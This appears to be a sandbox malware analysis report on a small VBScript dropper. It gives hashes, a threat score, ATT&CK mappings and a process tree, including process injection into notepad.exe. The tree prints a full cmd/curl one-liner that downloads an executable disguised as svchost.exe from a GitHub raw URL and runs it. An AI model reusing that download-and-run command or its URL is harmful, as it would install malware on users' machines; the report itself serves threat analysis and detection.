979351e1103a56b1084347b0e0e71ecd793d3622fbfbdda2699910f79abda4fe

Analysis

user interaction
yes
max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/10/2026, 22:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
multitool.vbs
Size 305B
Sample261003-2b2jpsybka
SHA256 979351e1103a56b1084347b0e0e71ecd793d3622fbfbdda2699910f79abda4fe
MD5 2b57f22ab0e51075b100a2cda9197e5c
SHA1 c5ed414cfc653784d08c39b10085b479a66e2380
SHA512 844af9a1f39ebd0f4441ed91dab8c35d0b84aad9fa1ae0984d42cb4f4a5392fe5acc3ce1f389c7600b7f62abb0ff7432430200976f2ee6104f56b5002d9f7d08
TLSH
T1CFE0CD9BF0149C355A1250F56124AD5E1DE3C5068850E9B4A81A542C639456621A6597
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	4820	curl.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1908	svchost.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
3	raw.githubusercontent.com

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4916	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1908 set thread context of 4264	1908	svchost.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2332	cmd.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4916 wrote to memory of 2332	4916	WScript.exe	85
PID 2332 wrote to memory of 4820	2332	cmd.exe	87
PID 2332 wrote to memory of 1908	2332	cmd.exe	93
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96
PID 1908 wrote to memory of 4264	1908	svchost.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\multitool.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost.exe" "https://raw.githubusercontent.com/h29udrhb90824db0824n0d/do-not-download-this-exe-file-/refs/heads/main/svchost.exe" && start "" "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost.exe" "https://raw.githubusercontent.com/h29udrhb90824db0824n0d/do-not-download-this-exe-file-/refs/heads/main/svchost.exe"
    3⤵
    - Downloads MZ/PE file
    PID:4820
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1908
  - - C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe"
      4⤵
      PID:4264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

svchost.exe

Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
Size 11.5MB
SHA256 db5efead67dcc1c918d9bef704b0f2351e5b126c3ef7e248a4647a182c84aa21
MD5 c073c574f3fc62b9169b6f31d19420fd
SHA1 5435aa987014e0afb4b97734a5f774abae537652
SHA512 0b249eb0827c4b7a3f088e15ee76a41b02e89aa927470cdddad460dacaaa2b103d9f70086eb428d399aa09e1145f6a4169cf8186c81299aacde79edb06dde28f
SSDEEP 196608:EIxqnv5nbGCFIz7H0U4QgNuSIHj9Ieq/x1ZCjEh/60B3XRX7zF4Qfh6TVJ:pQlE3hPgNuljKeq/x1AjE3B3XRV4WOT
TLSH
T1C2C633694813C3AFC65B5B346973D0AE83B1E437A0EB1B55566BD8D0C5BC79230EAF80
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1908-14-0x00007FF768AA0000-0x00007FF769632000-memory.dmp

Download

memory/4264-4-0x0000022630A80000-0x0000022630A81000-memory.dmp

Download

memory/4264-3-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4264-6-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4264-5-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4264-7-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4264-9-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

memory/4264-10-0x0000000140000000-0x0000000142BE8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads